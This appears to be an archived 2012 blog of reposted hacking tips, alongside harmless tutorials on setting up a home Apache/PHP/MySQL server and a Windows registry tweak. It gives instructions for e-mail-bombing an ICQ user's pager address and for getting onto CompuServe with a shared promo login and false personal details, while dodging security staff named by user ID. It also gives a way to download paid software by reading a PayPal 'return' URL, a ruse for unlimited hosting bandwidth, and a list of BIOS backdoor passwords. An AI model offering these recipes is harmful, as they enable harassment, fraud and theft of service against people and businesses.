2012-02-28T22:18:00.005-08:00

-- Turning your Mail Bomber into a ICQ Pager Bomber --

This Text is provided as an educational medium. All uses of This Text
are assumed by the author to be for education. In no event shall the
author be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or
special damages, even if the author has been advised of the
possibility of such damages, due to the misuse of this text,
improper handling of this text, etc.

Well now that ICQ Hell v1.0 is retired becuse of ICQ changeing there cgi
script a new kind of bombing is needed.
ICQ lets you send pages by e-mail. Its called EmailExpress Messages. All you
need is a user icq number and a good e-mail bomber. Set up your e-mail bomber
to bomb icqnumber@pager.mirabilis.com

ex.

12345@pager.mirabilis.com

The person with a UIN of 12345 would get bombed till you stoped your e-mail
bomber.

It works the same way if you were e-mail bombing someone. It nice becuse
ICQ Hell v1.0 work by useing ICQ cgi script, it would send about a page
every 3 sec. Useing EmailExpress it will bomb faster on how good of a e-mail
bomber you use. I use the bomber Alanche v3.0 for many things and I find it
works well with EmailExpress messages.

Now lets say that you are getting Bombed. How would you stop it? Well all
you need to do is to set your Security and Privacy to not accept EmailExpress
Messages.

My Great Web page

Hacking Compuserve Infomation Service

2012-02-28T22:16:00.002-08:00

Hacking Compuserve Infomation Service

Compuserve is a multiuser networked Pay by Hour service. But
this can be beat. At current rates, CIS (Compuserve) charges $6.50 for
300 baud
and $12.75 for 1200/2400 baud, 9600 can only be accessed by
Hardwired clients. Thus you see the need for this file. At the time
this was written, all information in this file was correct. Enough of
this, on to the file.

Logging on to Compuserve
------------------------
In order to create a Ziff Account on CompuServe you need ...
1) A Telenet, Tymnet, Or CIS Port
2) A Credit Card
3) Above the IQ of a houseplant

That is all you need, I know for some of you the 3rd one is
tough, but try. Ok, you have all this, call your local port, logon to
CIS, then you should get a [User ID:] Prompt, type [177000,5000], this
is the Ziff PCMagnet User Id. Now, if you entered it correctly, then you
should get the [Password:] Prompt, at This type [Pc*Magnet]. You will
next be givena Welcome Message, then, you will get yet another Prompt. It
should ask you for your Agreement Number, type [Z10D8810]. That is the
end of the prompts. Here's where the IQ of above a houseplant comes into
play.You now have to think. It will ask you various questions,
ranging from your country to your Social Security number. Answer them
however you want, but I wouldn't use your real info. If you want the
second password (Needed to access some things), you will have to give an
address where you can drop by and pick it up. Some ideas are sending to
your neighbors,but use your last name, it will end up at your house. That
isn't the safest thing. Or you can rent a Post Office box for about 6
months. Once you have done all this, and answer the questions, and
read the propoganda, you will see [Entering PCMagnet]. You are done.

So what do I do Now?
--------------------
Ok, if you get this far, you have the IQ of above your fern.
You can go one of two places, CIS or PCMagnet (Where you are now).
You can stay in PCMagnet, but there isn't much there. So, I would
type [Go Cis] This will bring you to Compuserve. Once on CIS, you can do
many thing, ranging from downloading files, to real time chat on forums
to online games.

Project Numbers
---------------
Some times I will refer to the word Project Number, that is
the same thing as a User ID. Excluding the digits after the comma. If
you see an ID that is [72311,27] then the that User ID's Project
Number is[72311]. Simple Eh?

[70000,xxx] - Security Personel or Important Employes
[70003,xxx] - Complementary Account
[70004,xxx] - CompuServe Employe
[70005,xxx] - Radio Shack *Demo* Account. (R Flagged)
[70006,xxx] - Normal Compuserve Employe (Sometimes Wizards)
[70007,xxx] - Complementary Account

[70000,753] - Dan'l, Ghost, or Dan Piskur
[70006,522] - LooLoo, Myrtl, or Patrica Phelps

The [70000] Projects are very interesting accounts, they have
very high powered Flags. (Incedently, a Flag is an option set on
the user account) These accounts have the capability to 'Hang you up'
from the system. These are the only such account that can do so.
But as you will see, they can make things very difficult without
hanging you up. A non [70000] project can get you 'Hung up', they
have to call Customer Service and tell them to Initilize your Port.
Thus hanging you up. But only the [70000] project can suspend your
account. The main person to look out for is [70000,753 - Dan Piskur]
he is the Head of Security. His job is to find you and suspend your
account. He does not hesitate to do this.

The [70006] is also another intersting Project. These
accounts are USUALLY 'Wizards' (A Wizard is a user with very high access
Flags) That does not mean all [70006,xxx] are Wizards, but most are.
So if you see the ID [70006,522] that is a very high accessed
Wizard, she usually uses the name [*LooLoo*] she has Sysop Flags on
all forums, where most Sysops only have it on their specific
forum. She also has the job of finding you , but she must report to
Dan'l to get you suspended. But don't take her for granted, she has
the C Flag, she can stop you from talking, you can function
normally,but you can not talk in whatever Confrence Area she has
/gag'ed you on. (/gag is the Command to stop you from talking) She then
reports the User ID to Dan'l. He suspends you. Case Closed.

Invisable Sysops
----------------
Sysops with the C Flag can make them selves invisable while
in Confrence. But this has one bug in it. If you do a [/ust]
while in Confrence, the Inviso sysop will not appear, but if you
exit [/ex] and do a [ust] at the ! Prompt, they will appear.
Another way is to count the members it say are in CO at the Forum Top
menu [4. Confrencing (9 Participating)] and you go into CO,
and do a ust, count the people, in all channels and Tlk, if there
is an Inviso, there will be one less person when you count the
Ust.Maybe more if there are more Inviso's.

Glossary
--------

Flags : Specific Options on your account.
-C Flag : Specific Account Option - Gives the use of the
/wi commands at CO. (Syntax [/wi ?])
Free Flag : Specific Account Option - Makes time in a
specific
forum free. (Ususally 70003 and 70007)
-L Flag : Specific Account Option - Locks a your account
out of a forum.
-R Flag : Specific Account Option - Read Only, means that
the account can not write to the system, read
and download only. (See also Radio Shack Demo)
Gag'ed : An account flag, if you have this flag, you can
not speak while you are in CO or CB. You can not
be seen in the User Listing, except by yourself.
A quick test for this flags is Paging yourself.
If you are gag'ed, there are three ways of
getting
rid of this flag, but you have no control over
them
- 1 - Have the Sysop who gag'ed you ungag you.
Only the sysop who gag'ed you can Ungag
you!
- 2 - Wait till 5am, when the system resets and
it will clear the flag. (Useful only on
CB)
- 3 - The best. When everyone leaves the CO you
were in, your flag will automaticly clear.
[Note. When you are gag'ed, you are only gag'ed
in that specific Forum/Co]
Inviso : When a Sysop is Invisable to all others, but
other
sysops. (See also Invisable Sysops)
Project No: The Prefix of the User ID is sometimes called
a Project Number.
Wizard : An Account with capabilites of incredible
capacity.
[Usually 70000 or 70006] (Not always)

Credits
-------
Some of this information was taken from a Phrack File, but
98% of it is mine. So please keep it as it is. I would like to thank
the following people for help.
Rigor Mortis : For his help with Compuserve when I started
out.
Matt E. : (A CIS Forum Sysop) for his explaination of
the
project numbers, and security flags.

Call
----
P-80 Systems - [304/744-2253]
RipCo - [312/528-5020]

How to Bypass BIOS Passwords

2012-02-22T02:48:00.001-08:00

How to Bypass BIOS Passwords

BIOS passwords can add an extra layer of security for desktop and laptop computers. They are used to either prevent a user from changing the BIOS settings or to prevent the PC from booting without a password. Unfortunately, BIOS passwords can also be a liability if a user forgets their password, or changes the password to intentionally lock out the corporate IT department. Sending the unit back to the manufacturer to have the BIOS reset can be expensive and is usually not covered in the warranty. Never fear, all is not lost. There are a few known backdoors and other tricks of the trade that can be used to bypass or reset the BIOS

DISCLAIMER
This article is intended for IT Professionals and systems administrators with experience servicing computer hardware. It is not intended for home users, hackers, or computer thieves attempting to crack the password on a stolen PC. Please do not attempt any of these procedures if you are unfamiliar with computer hardware, and please use this information responsibly. LabMice.net is not responsible for the use or misuse of this material, including loss of data, damage to hardware, or personal injury.

Before attempting to bypass the BIOS password on a computer, please take a minute to contact the hardware manufacturer support staff directly and ask for their recommended methods of bypassing the BIOS security. In the event the manufacturer cannot (or will not) help you, there are a number of methods that can be used to bypass or reset the BIOS password yourself. They include:

Using a manufacturers backdoor password to access the BIOS

Use password cracking software

Reset the CMOS using the jumpers or solder beads.

Removing the CMOS battery for at least 10 minutes

Overloading the keyboard buffer

Using a professional service

Please remember that most BIOS passwords do not protect the hard drive, so if you need to recover the data, simply remove the hard drive and install it in an identical system, or configure it as a slave drive in an existing system. The exception to this are laptops, especially IBM Thinkpads, which silently lock the hard drive if the supervisor password is enabled. If the supervisor password is reset without resetting the and hard drive as well, you will be unable to access the data on the drive.

--------------------------------------------------------------------------------

Backdoor passwords

Many BIOS manufacturers have provided backdoor passwords that can be used to access the BIOS setup in the event you have lost your password. These passwords are case sensitive, so you may wish to try a variety of combinations. Keep in mind that the key associated to "_" in the US keyboard corresponds to "?" in some European keyboards. Laptops typically have better BIOS security than desktop systems, and we are not aware of any backdoor passwords that will work with name brand laptops.

WARNING: Some BIOS configurations will lock you out of the system completely if you type in an incorrect password more than 3 times. Read your manufacturers documentation for the BIOS setting before you begin typing in passwords

Award BIOS backdoor passwords:

ALFAROME ALLy aLLy aLLY ALLY aPAf _award AWARD_SW AWARD?SW AWARD SW AWARD PW AWKWARD awkward BIOSTAR CONCAT CONDO Condo d8on djonet HLT J64 J256 J262 j332 j322 KDD Lkwpeter LKWPETER PINT pint SER SKY_FOX SYXZ syxz shift + syxz TTPTHA ZAAADA ZBAAACA ZJAAADC 01322222
589589 589721 595595 598598

AMI BIOS backdoor passwords:

AMI AAAMMMIII BIOS PASSWORD HEWITT RAND AMI?SW AMI_SW LKWPETER A.M.I. CONDO

PHOENIX BIOS backdoor passwords:

phoenix, PHOENIX, CMOS, BIOS

MISC. COMMON PASSWORDS

ALFAROME BIOSTAR biostar biosstar CMOS cmos LKWPETER lkwpeter setup SETUP Syxz Wodj

OTHER BIOS PASSWORDS BY MANUFACTURER

Manufacturer Password
VOBIS & IBM merlin
Dell Dell
Biostar Biostar
Compaq Compaq
Enox xo11nE
Epox central
Freetech Posterie
IWill iwill
Jetway spooml
Packard Bell bell9
QDI QDI
Siemens SKY_FOX
TMC BIGO
Toshiba Toshiba

TOSHIBA BIOS

Most Toshiba laptops and some desktop systems will bypass the BIOS password if the left shift key is held down during boot

IBM APTIVA BIOS

Press both mouse buttons repeatedly during the boot

--------------------------------------------------------------------------------

Password cracking software

The following software can be used to either crack or reset the BIOS on many chipsets. If your PC is locked with a BIOS administrator password that will not allow access to the floppy drive, these utilities may not work. Also, since these utilities do not come from the manufacturer, use them cautiously and at your own risk.

Cmos password recovery tools 3.1
!BIOS (get the how-to article)
RemPass
KILLCMOS

--------------------------------------------------------------------------------

Using the Motherboard "Clear CMOS" Jumper or Dipswitch settings

Many motherboards feature a set of jumpers or dipswitches that will clear the CMOS and wipe all of the custom settings including BIOS passwords. The locations of these jumpers / dipswitches will vary depending on the motherboard manufacturer and ideally you should always refer to the motherboard or computer manufacturers documentation. If the documentation is unavailable, the jumpers/dipswitches can sometimes be found along the edge of the motherboard, next to the CMOS battery, or near the processor. Some manufacturers may label the jumper / dipswitch CLEAR - CLEAR CMOS - CLR - CLRPWD - PASSWD - PASSWORD - PWD. On laptop computers, the dipswitches are usually found under the keyboard or within a compartment at the bottom of the laptop.
Please remember to unplug your PC and use a grounding strip before reaching into your PC and touching the motherboard. Once you locate and rest the jumper switches, turn the computer on and check if the password has been cleared. If it has, turn the computer off and return the jumpers or dipswitches to its original position.

--------------------------------------------------------------------------------

Removing the CMOS Battery

The CMOS settings on most systems are buffered by a small battery that is attached to the motherboard. (It looks like a small watch battery). If you unplug the PC and remove the battery for 10-15 minutes, the CMOS may reset itself and the password should be blank. (Along with any other machine specific settings, so be sure you are familiar with manually reconfiguring the BIOS settings before you do this.) Some manufacturers backup the power to the CMOS chipset by using a capacitor, so if your first attempt fails, leave the battery out (with the system unplugged) for at least 24 hours. Some batteries are actually soldered onto the motherboard making this task more difficult. Unsoldering the battery incorrectly may damage your motherboard and other components, so please don't attempt this if you are inexperienced. Another option may be to remove the CMOS chip from the motherboard for a period of time.
Note: Removing the battery to reset the CMOS will not work for all PC's, and almost all of the newer laptops store their BIOS passwords in a manner which does not require continuous power, so removing the CMOS battery may not work at all. IBM Thinkpad laptops lock the hard drive as well as the BIOS when the supervisor password is set. If you reset the BIOS password, but cannot reset the hard drive password, you may not be able to access the drive and it will remain locked, even if you place it in a new laptop. IBM Thinkpads have special jumper switches on the motherboard, and these should be used to reset the system.

--------------------------------------------------------------------------------

Overloading the KeyBoard Buffer

On some older computer systems, you can force the CMOS to enter its setup screen on boot by overloading the keyboard buffer. This can be done by booting with the keyboard or mouse unattached to the systems, or on some systems by hitting the ESC key over 100 times in rapid succession.

--------------------------------------------------------------------------------

Jumping the Solder Beads on the CMOS

It is also possible to reset the CMOS by connecting or "jumping" specific solder beads on the chipset. There are too many chipsets to do a breakdown of which points to jump on individual chipsets, and the location of these solder beads can vary by manufacturer, so please check your computer and motherboard documentation for details. This technique is not recommended for the inexperienced and should be only be used as a "last ditch" effort.

--------------------------------------------------------------------------------

Using a professional service

If the manufacturer of the laptop or desktop PC can't or won't reset the BIOS password, you still have the option of using a professional service. Password Crackers, Inc., offers a variety of services for desktop and laptop computers for between $100 and $400. For most of these services, you'll need to provide some type of legitimate proof of ownership. This may be difficult if you've acquired the computer second hand or from an online auction.

Your Own Home Server - Introduction

2012-02-22T02:40:00.002-08:00

Your Own Home Server - Introduction

An Introduction

In this tutorial you will learn how to step up your own server. This server will be comprised of Apache 1.3.5, PHP 4.2.0, and MySQL 3.23.49. This tutorial will address the basic setup of a server on your own computer. This means the removal of hassles of dealing with the company that is running a remote web server. It will be easy to modify. You can add any thing you want to it, be it CGI/Perl, Zope, Roxen, etc, all by your self. You will have unlimited disk space, well at least as big as your hard drive is =) Now that you know the advantages, it is time that I tell you what i used, and what you will need.

What I used
* Windows 2000 - NOTE that if you are using 2k you WILL NEED Administrative Privileges. If you don't then get them somehow =) If you are on 95, 98, NT, XP, ME, I
* Apache 1.3.6 - I tried to use 2.0 but I could not get it work. I also feel that 1.3.6 is tried and true, so why mess with greatness.
* Mysql 3.23.49 - The newest version of MySQL when I set up my server. MySQL also the is the best PHP supported Database, and well love PHP don't we.
* PHP 4.2.1 - The latest and greatest PHP release. -nt

What you will need
* Apache 2 - Link: h**p://www.apache.org/dist/
* Mysql 3.23.49 - Link: h**p://www.mysql.com/downloads/mysql-3.23.html
* PHP 4.2.0 - Link: h**p://www.php.net/downloads.php
* Windows - This tutorial is ONLY written for new versions of Windows.

Once you have downloaded all the programs you are ready to continue.

1. Installing Apache

Installing Apache

The first step is to download Apache for Windows. Before you install it make sure that any other server software is removed. Remove it all via the control panel.On

Once you have clicked on the executable, a screen should com up that looks like this. Go ahead and click on next

user posted image

Of course you plan to abide be the license agreement, so click on I accept.... and click on next.

user posted image

You really don't need to read this, but if you want you can. Read it if you want feel informed. When you are ready click on next.

user posted image

Here is where the actual setup of Apache begins. For Network Domain put in localhost as for Server Name You want these both to be localhost because the server is running locally, on your computer. It doesn't matter what is in email field, just put in yours. No one will no it because it's just you.

user posted image

For the sake of this tutorial it is better to just leave it as it is because, later in the tutorial I will show you how to start the server with one click of the mouse, and for the sake of ease, it will be easier for you to follow along. You can change it if you want, but you will have to realize where to substitute it. For me the root drive is E: but for you will probably be C:

user posted image

Once you have all the jazz set up, it is time to install the server. If you are on w2k or XP be sure that you have Administrative permissions or you will get an error about half way through the install saving cannot access msvrt32.dll or something. If you get that error run it again when you have admin privileges. Once you are ready click on install.

user posted image

If all went well you just see a screen similar to this. Now it is time to test the install of apache. Click on Start > Program Files > Apache HTTP Server and look for start Start Apache in Console. Click it. Once it says Apache XXXXX running, press Windows Key + R and type -http://localhost/. If the install works you should see a page saying that it works. If all is set and done, continue to the next step.

user posted image
______________________________________________________________________
2. Installing PHP
Once you have clicked on the executable, a screen should come up that looks like this. Go ahead and click on next.

user posted image

Of course you plan to abide be the license agreement, so click on I accept.... and click on next.

user posted image

For this information, we will want the simple standard install. Chances are you if you are reading this tutorial, you will probably not even want to talk about advanced =)

user posted image

This is the mail setup, just enter localhost, and me@localhost.com. These are not important, because you, the admin, are the only person that will use the server, and you will be the one handling errors.

user posted image

We are going to want this install to work is Apache, so click on Apache, and move on.

user posted image

Once you have all the jazz set up, it is time to install the server. If you are on w2k or XP be sure that you have Administrative permission or you will get an error about half way through the install saving cannot access msvrt32.dll or something. If you get that error run it again when you have admin privileges. Once you are ready click on install.

user posted image

After the install is done you should get something that says you will have to manually configure apache to use php. Assuming you have a working Apache server installed, make sure that it is not running. Navigate to C:\Program Files\Apache Group\Apache\conf\ open the httpd.conf file. Note that you can also get to the http.conf from the start menu. Start > Program File > Apache HTTP Server > Configure Apache Server > Edit the Apache httpd.conf Configuration File and the window will open up in notepad. Now hit Ctrl + End if you see something like what follows, you can skip this step. If you do not see that code, copy it. This code will only work if you used the default install folder when you installed php. If you did, copy that code and paste it into the end of the file. Select the code to right, and hit crtl + c , then go into the httpd.conf file and hit ctrl + v and save the file.

ScriptAlias /php/ "c:/php/"

AddType application/x-httpd-php .php .phtml

Action application/x-httpd-php "/php/php.exe"

Now that we have php installed, it is time to test it. Open up notepad and type the code to the right. Save it as phpinfo.php. Remember to set it as all files in the drop down menu, or the file will be a text file. Save in the Directory: C:\Program Files\Apache Group\Apache\htdocs. htdocs is the directory where all the files go. You can create endless dir's and browse them. For Example E:\Program Files\Apache Group\Apache\htdocs\mydir\myfile.php could be accessed as http://localhost/mydir/myfile.php. Once you have that file saved. You will need to start the Server. Click: Start > Program File > Apache HTTP Server >; and look for something like Start Apache in Console. After you have found it, launch it. You should get a window saying that Apache is running. Now go to Start > Run > and type in -http://localhost/phpinfo.php. If you don't see anything, php is not installed correctly. If php is installed correctly, you will see a few large tables, displaying php's configuration. Now Your are 1/2 done!
______________________________________________________________________
3. Installing MySQL
Once you have clicked on the executable, a screen should com up that looks like this. Go ahead and click on next.

user posted image

Of course you plan to abide be the license agreement, so click on I accept.... and click on next.

Just like before you should leave the default dir alone, so you will be able to follow along with me when I show you how to start and stop all the aspects of the server.

Stay with the typical installation. Just like before, if you don't have admin privileges, the install will be faulty. After you click next, the install will begin. After the install has finished, move on to the next step.

Now you have to set up the root account. The root account is the absolute admin of the system, the highest possible. Click on Start > Run and type cmd to open up the command prompt. You are going to have to navigate to where MySQL is installed. Type C: > Enter > cd mysql > Enter > cd bin > Enter. Now you have to tell setup the root settings. Type mysqladmin -uroot password InsertYourPasswordHere then hit enter.

To see an image of the screen, -h**p://www.webmasterstop.com/tutorials/images/doscreen1.gif

What is the point of having a database if you can't easily administer it! That is where phpMyAdmin comes into play. phpMyAdmin is a free piece of software written in php that makes the administration of a mysql or many other types of databases easy. You will want to download (h**p://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.6-php.zip?downloadrelease_id=85832)the latest version. Save it in the htdocs folder. Once it is done downloading it, right click on it and select Extract > To Here. When it is done you should end up with a directory in the htdocs folder called phpMyAdmin-2.2.6 To make it easier to access, rename it to phpMyAdmin. After you have renamed it, click on it and look for a file called config.inc Open it. This is where you set the configuration of phpMyAdmin. When you open it up, it should look similar to the image to your side. On yours there should be a few things missing. The $cfgPmaAbsoulteUrl and $cfgservers[$i]['password']. You will need to fill those in between the quotes. for the $cfgPmaAbsoulteUrl enter -http://localhost/phpMyAdmin/ if you followed my instructions to the letter. If you did not rename it or extracted to a different directory, put that in there. For the $cfgservers[$i]['password'] enter the password you entered when you were setting MySQL in the set above. You can refer to the image for help. After you have put the right things in save the file.

To see an image of the screen, -h**p://www.webmasterstop.com/tutorials/images/phpmyadminscreen1.gif

Now we want to test the install of mysql, php, phpmyadmin, and apache all at once. Start apache in console like we did before. Now, you are going to need to start mysql. For myself I made a file that would start mysql for me. Open notepad and type: start c:\mysql\bin\mysqld-nt.exe --standalone and save that as Start MySQL.bat. Once you have saved it, click it. A window should open and then close. Mysql is now running on your computer. After mysql and apache are started go to run again and type -http://localhost/phpMyAdmin/index.php and if everything is installed correctly phpmyadmin should so up. You are almost done! Now we have the easy part =)

4. Finishing it all up

Wow! We mad it through the whole process. Now we want to simplify the whole process of controlling the server. I made a toolbar with all the things I needed. I made a new folder on my desktop and called it Server Folder and put all the stuff there. I made a new shortcut and gave it a value of -http://localhost/ made a shortcut to the PHP Documentation page. Another shortcut to my php editor, which is now unavailable. The phpMyAdmin shortcut is set to -http://localhost/phpMyAdmin/index.php. I made another shortcut htdocs. I moved the Start Apache in Console program that was in the start menu folder and moved it to the server folder. You can take the Start Mysql file you made in the last page and move it to the new folder. After you have put all the desired things into that folder, right click on a blank space in stat menu task bar (where the program boxes lie) and select Toolbars > New Toolbar and navigate to the folder. Voila!

Now all you have to do is click Start Apache in Console , Start Mysql, and Lauch browser biggrin.gif

Here You Are Guys

Download from a paypal site without paying a penny!

2012-02-22T02:37:00.006-08:00

Download from a paypal site without paying a penny!

Just a little basic html tip for those who are trying to download an application from sites which has an paypal order page & link to start you off.

Use a proxy when you try this to hide your ip as some sites will record your ip when you connect for security.

1) Rightclick your mouse (ctrl+click) viewsource and open the source of the site in an a texteditor
2) Search for the word "return"
3) Next to it you can find the url for the thank you page
4) Copy the url and paste it in your browser and you will see the download link

This works only if you can download instantly after payment, it will not work if the link needs to be emailed to you.

You can try it here to start with:
Code:
http://www.ramphelp.com/halfpipe.html

About half way down the page you will find:

<input type="hidden" name="return" value="http://www.ramphelp.com/65984523/thanks/68912hp654/26865thankyouhp08363215423.html ">

Copy the link into your browser and download.

Get unlimited bandwidth from your host for free

2012-02-22T02:36:00.001-08:00

Get unlimited bandwidth from your host for free

NOTE: This applies only to specific hosting companies, due to the
specific setup needed and does have its drawbacks.

While setting up hosting space with a specific company I often deal
with, I noticed that they used a shared IP. (IP shared by two or more
websites/domains.) Well, the rates for unlimited bandwidth were
around $50+ per month, which I found unreasonable. I didnt require
much space, and didnt want to be limited to a mere 3 gig of traffic
per month.

Back on track... When setting up the acct, the hosting company needs
to know the domain name so that they can direct it accordingly.
(example: 'http://www.123.4.567.890/~user1/ ,
'http://www.123.4.567.890/~user2/ etc)

At this point you can give a url that doesnt belong to you at all. As
long as the nameservers dont change, that should have absolutly no
negative effects on you or your site whatsoever.

How it works is this:
The host propogates you a certain amount space on its servers, and
monitors the traffic that enters their space through the domain its
registered under. Being that the domain isn't connected to the site
at all, it registers ZERO traffic.

Zero traffic registered = can't possibly go over bandwidth
restrictions
can't possibly go over bandwidth restrictions = free unlimited
bandwidth

Now the problems with this (besides the ethical ones) is that your
host may offer X amount of mail addys with the acct
(you@y...) and these will not work, as the name isnt on their
DNS. However, some domain companies allow you to set it up
regardless. Another problem seems to be strictly cosmetic, but can be
highly problematic... Once you attach the domain you want onto the
site, each page comes up/w the ip/UN the host propagated to your
acct. Its at this point where you have to have a phenominal 10-15
character alphanumerical or better (#, &, etc) pw, or your site will
be vulnerable to attack since the attacker already has your UN. This
only gives attackers a slight advantage as the amount of time it
would take to brute force a 10 character pw @ a rate of 1,000,000 per
second is 10 years. Add numbers and case sensitivity to that and it
becomes approx 26,980 years.

While I'm on it, I may as well add that if you use this method,
obviously you are going to be using the lowest cost hosting plan
available, which in turn will offer the least amount of space. Thats
why free hosts were invented.

Free hosts suck as a general rule. Who wants a site smothered in ads?
However, if you upload all your programs, graphics and other large
files (have a backup of course) to a reliable free host and target
them accordingly from your site you have just freed up a signifigant
amount of space. The only setback/w this is having to keep an index
card or file around/w your pws, as you should never use the same one
twice, and want to use complicated ones.

Change The Default Location For Installing Apps

2012-02-22T02:34:00.000-08:00

Change The Default Location For Installing Apps

As the size of hard drives increase, more people are using partitions to separate and store groups of files.

XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/ or directory by using a Registry hack.

Go to :-

- Start > Run

- Type “regedit” (without “” NOOBS!)

- Go to this directory…
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion

- Look for the value named ProgramFilesDir. by default,this value will be C:\Program Files. Edit the value to any valid drive or folder and XP will use that new location as the default installation directory for new programs.